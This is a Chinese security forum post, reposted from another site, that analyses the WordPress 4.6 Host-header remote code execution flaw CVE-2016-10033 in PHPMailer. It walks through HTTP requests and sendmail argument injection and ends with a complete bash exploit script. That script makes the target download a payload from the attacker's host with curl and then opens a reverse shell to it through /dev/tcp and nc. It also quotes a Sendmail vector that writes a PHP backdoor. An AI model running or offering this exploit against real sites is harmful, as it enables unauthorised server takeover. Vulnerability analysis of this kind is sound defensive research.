用户
搜索
  • TA的每日心情
    奋斗
    2017-3-10 12:53
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看I

    版主

    喜欢飘凝雪的小爱子.

    Rank: 7Rank: 7Rank: 7

    40

    主题

    383

    帖子

    1834

    魔法币
    收听
    0
    粉丝
    12
    注册时间
    2017-2-15

    楚签约作者爱心勋章燕积极活跃奖

    小爱_Joker 版主 喜欢飘凝雪的小爱子. 楚 签约作者 爱心勋章 燕 积极活跃奖 楼主
    发表于 2017-5-4 10:55:25 78313
    t012e08c265c8aa3488.jpg

    关于WordPress


    WordPress是一个注重美学、易用性和网络标准的个人信息发布平台。WordPress虽为免费的开源软件,但其价值无法用金钱来衡量。

    使用WordPress可以搭建功能强大的网络信息发布平台,但更多的是应用于个性化的博客。针对博客的应用,WordPress能让您省却对后台技术的担心,集中精力做好网站的内容。

    根据w3techs.com对WordPress网站的实时市场份额统计,WordPress占所有使用内容管理系统的网站的58.9%。大约占所有网站的27.9%左右。

    t012ad743883e1e4a3c.png

    漏洞概述


    漏洞编号:CVE-2016-10033

    漏洞发现者:dawid_golunski

    漏洞危害:严重

    影响版本:4.6

    漏洞描述:远程攻击者可以利用该漏洞执行代码


    漏洞细节


    这个漏洞主要是PHPMailer漏洞(CVE-2016-10033)在WordPress Core代码中的体现,该漏洞不需要任何的验证和插件,在默认的配置情况下就可以利用。远程攻击者可以利用该漏洞执行代码。由于该漏洞影响比较大,通过和官方协商,决定推迟更新wordpress漏洞细节。

    漏洞代码

    [AppleScript] 纯文本查看 复制代码
    if ( !isset( $from_email ) ) {
                  // Get the site domain and get rid of www.
                  $sitename = strtolower( $_SERVER['SERVER_NAME'] );
                  if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                          $sitename = substr( $sitename, 4 );
                  }
                  $from_email = 'wordpress@' . $sitename;
          }
          /**
           * Filters the name to associate with the "from" email address.
           *
           * [url=home.php?mod=space&uid=78256]@since[/url] 2.3.0
           *
           * @param string $from_name Name associated with the "from" email address.
           */
          $from_name = apply_filters( 'wp_mail_from_name', $from_name );
          $phpmailer->setFrom( $from_email, $from_name );

    WordPress 根据SERVER_NAME 服务器头设置电子邮件域,当WordPress wp_mail()函数被调用来发送电子邮件时(例如,用户注册,忘记密码等)。可以看到from是这样的

    [AppleScript] 纯文本查看 复制代码
    $from_email = 'wordpress@' . $sitename;

    然后将其过滤并传递到PHPMailer的易受攻击的setFrom()函数中,相关细节请回顾:

    https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

    https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code -exec-CVE-2016-10033-Vuln.html


    注入


    可以在Apache的默认配置上操作SERVER_NAME服务器头。Web服务器(最常见的WordPress部署)通过HTTP请求中的HOST头。

    为了验证这点,请看vars.php请求与响应的演示

    [AppleScript] 纯文本查看 复制代码
    GET /vars.php HTTP/1.1
    Host: xenialINJECTION
    HTTP/1.1 200 OK
    Server: Apache
    Array
    (
      [HTTP_HOST] => xenialINJECTION
      [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu)
      [SERVER_NAME] => xenialinjection
    ...


    我们可以看到,在HOST头文件中附加到主机名的INJECTION字符串 复制到HTTP_HOST和SERVER_NAME PHP变量。

    使用这个HOST头的例子,如果攻击者触发了wp_mail()函数

    通过使用WordPress的忘记密码功能,HTTP请求将类似于

    [AppleScript] 纯文本查看 复制代码
    POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
    Host: xenialINJECT
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 56
    Cookie: wordpress_test_cookie=WP+Cookie+check
    Connection: close
    user_login=admin&redirect_to=&wp-submit=Get+New+Password


    并将导致以下参数传递到/ usr / sbin / sendmail:


    [AppleScript] 纯文本查看 复制代码
    Arg no. 0 == [/usr/sbin/sendmail]
    Arg no. 1 == [-t]
    Arg no. 2 == [-i]
    Arg no. 3 == [-fwordpress@xenialinject]

    这里需要注意的是第三个参数。电子邮件的域名部分匹配请求的HOST头,小写“inject”除外。


    绕过过滤

    为了利用PHPMailer的mail()注入漏洞,攻击者会将参数附加到域部分。但是,过滤/验证这个地方(在wordpress方面以及PHPMailer库方面)都会

    防止攻击者注入空字符(空格或TAB),因此从注入参数到sendmail binary 。

    例如,如果攻击者将HOST头修改为以下内容:

    [AppleScript] 纯文本查看 复制代码
    POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
    Host: xenialINJECT SPACE


    验证将导致无效的域部分错误,并且WordPress应用程序将退出http响应:


    [AppleScript] 纯文本查看 复制代码
    HTTP/1.0 500 Internal Server Error


    在这种情况下,PHPMailer函数永远不会被执行(sendmail binary 不会被执行)

    PHPMailer库的validateAddress()函数以及PHP的filter_var / FILTER_VALIDATE_EMAIL都符合RFC 822标准

    详细请查看:

    http://php.net/manual/en/filter.filters.validate.php  

    它禁止域部分中的空格,从而防止注入的附加参数到/ usr / sbin / sendmail。

    应该注意的是注入额外的 \ 反斜杠到电子邮件的用户名部分

    http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

    对于攻击者来说,在这种情况下电子邮件的用户名部分很难利用。


    RFC 822和注释语法

    根据查看RFC 822规范,找到绕过验证的一种潜在的方法:

    https://www.ietf.org/rfc/rfc822.txt

    电子邮件地址可以包含注释

    该文件给出了一个电子邮件示例,其中括号中有注释:


    [AppleScript] 纯文本查看 复制代码
    ":sysmail"[url=home.php?mod=space&uid=162618]@[/url]  Some-Group. Some-Org,
              Muhammed.(I am  the greatest) Ali @(the)Vegas.WBA

    作为有效的电子邮件,域内部分的简化注释示例:

    john@example.com(comment)

    经过进一步测试,结果发现注释部分可以包含空格在域名部分,可以作为一种绕过的方式。将验证域部分注入附加参数到sendmail binary。

    通过注释语法注入参数

    以下请求与HOST头设置为:

    [AppleScript] 纯文本查看 复制代码
    POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
    Host: xenial(tmp1 injected tmp2)


    不会触发错误,测试以下参数发送邮件 :

    [AppleScript] 纯文本查看 复制代码
    Arg no. 0 == [/usr/sbin/sendmail]
    Arg no. 1 == [-t]
    Arg no. 2 == [-i]
    Arg no. 3 == [-fwordpress@xenial(tmp1]
    Arg no. 4 == [injected]
    Arg no. 5 == [tmp2)]


    我们已经设法绕过Wordpress过滤器的验证以及PHPMailer的内部setFrom()验证。

    [AppleScript] 纯文本查看 复制代码
    apply_filters( 'wp_mail_from_name', $from_name );


    我们现在可以控制第四个参数('inject')并且可以注入。如果需要,参数3和参数5之间有更多的参数。在理论上,我们现在应该可以注入额外的参数到/ usr / sbin / sendmail包装器 从而实现任意代码执行。


    通过Sendmail MTA执行代码

    迄今为止,唯一已知的方法是通过远程执行代码执行PHPmailer(),PHPmailer()依赖于目标系统上的Sendmail MTA

    最常见的Sendmail MTA向量类似于:

    [AppleScript] 纯文本查看 复制代码
    -OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php

    它通常通过输入信息写入一个包含php后门的日志文件

    然而,这种技术有两个问题:

    1)

    Sendmail MTA不再常用,我们可以通过查看来验证

    http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html

    这表明Sendmail在Linux MTA中最不受欢迎。它不附带任何现代的Linux发行版。

    2)

    上述的Sendmail技术在这种情况下不起作用。如前所述,主机名复制到SERVER_NAME服务器变量被转换成小写,因此被注入Sendmail参数在请求中类似于:

    [AppleScript] 纯文本查看 复制代码
    POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
    Host: xenial(tmp1 -O -X tmp2)


    将出现以下一组sendmail参数:

    [AppleScript] 纯文本查看 复制代码
    Arg no. 0 == [/usr/sbin/sendmail]
    Arg no. 1 == [-t]
    Arg no. 2 == [-i]
    Arg no. 3 == [-fwordpress@xenial(tmp1]
    Arg no. 4 == [-o]
    Arg no. 5 == [-x]
    Arg no. 6 == [tmp2)]

    Sendmail会失败并出现错误,因为这里参数是区分大小写的,而-q和-x都不会工作。

    通过Exim4 MTA执行代码

    PHPMailer和其他电子邮件库中的漏洞同样也可以利用Exim4 MTA执行代码,基本格式如下


    [AppleScript] 纯文本查看 复制代码
    sendmail -be'$ {run {/ bin / true} {true} {false}}'

    -be开关启用字符串扩展测试模式。上述扩展执行/ bin / true并返回值

    同样,以下将执行id命令:

    [AppleScript] 纯文本查看 复制代码
    sendmail -be'$ {run {/ bin / bash -c“id”} {yes} {no}}'

    注意:在使用Exim4的系统上,/ usr / sbin / sendmail只是一个符号链接:/ usr / sbin / sendmail  - > exim4与Sendmail MTA无关。

    这个点可以可靠的方式实现执行命令

    $ run expand指定为参数,不需要将文件写入/ var / www / html或猜测目录路径



    PoC

    [AppleScript] 纯文本查看 复制代码
    rev_host="192.168.57.1"
    function prep_host_header() {
          cmd="$1"
          rce_cmd="\${run{$cmd}}";
          # replace / with ${substr{0}{1}{$spool_directory}}
          #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
          rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
          # replace ' ' (space) with
          #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
          rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
          #return "target(any -froot[url=home.php?mod=space&uid=163960]@localhost[/url] -be $rce_cmd null)"
          host_header="target(any -froot@localhost -be $rce_cmd null)"
          return 0
    }
    #cat exploitbox.ans
    intro="
    DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
    bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
    G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
    G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
    IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
    IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
    X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
    b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
    NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
    TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
    QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
    NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
    G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
    eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
    WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
    TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
    ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
    MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
    G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
    WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
    NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
    MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
    X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
    bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
    intro2="
    ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
    fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
    MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
    aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
    fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
    ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
    bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
    ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
    bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
    cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
    echo "$intro"  | base64 -d
    echo "$intro2" | base64 -d
    if [ "$#" -ne 1 ]; then
    echo -e "Usage:\n$0 target-wordpress-url\n"
    exit 1
    fi
    target="$1"
    echo -ne "\e[91m[*]\033[0m"
    read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
    echo
    if [ "$choice" == "y" ]; then
    echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
    echo -e "\e[92m[+]\033[0m Connected to the target"
    # Serve payload/bash script on :80
    RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
    echo "$RCE_exec_cmd" > rce.txt
    python -mSimpleHTTPServer 80 2>/dev/null >&2 &
    hpid=$!
    # Save payload on the target in /tmp/rce
    cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
    prep_host_header "$cmd"
    curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword
    echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
    # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
    cmd="/bin/bash /tmp/rce"
    prep_host_header "$cmd"
    curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword &
    echo -e "\n\e[92m[+]\033[0m Payload executed!"
    echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
    nc -vv -l 1337
    echo
    else
    echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n"
    exit 0
    fi
    echo "Exiting..."
    exit 0




    更新到最新版本或者4.7以上版本

    下载地址https://wordpress.org/latest.zip




    转载于安全客

    原文地址:http://bobao.360.cn/news/detail/4146.html







    like Piao Ning Xue of xaiJoker
    发表于 2017-5-4 11:27:19
    66666666
    使用道具 举报 回复
    6666666666
    使用道具 举报 回复
    有人复现成功了吗?
    使用道具 举报 回复
    nuesoft i春秋-见习白帽 怎么修改i春秋的id呀
    4#
    发表于 2017-5-4 18:54:43
    脚本执行不了错误啊
    使用道具 举报 回复
    6666 成功的留言,我反正没看到人成功过。
    使用道具 举报 回复
    nuesoft i春秋-见习白帽 怎么修改i春秋的id呀
    6#
    发表于 2017-5-4 19:30:38
    脚本都执行不了,怎么成功
    使用道具 举报 回复
    发表于 2017-5-17 17:44:42
    好难复现。一堆的错误。木有一个网站能再现当年那个升级的网站了吗
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册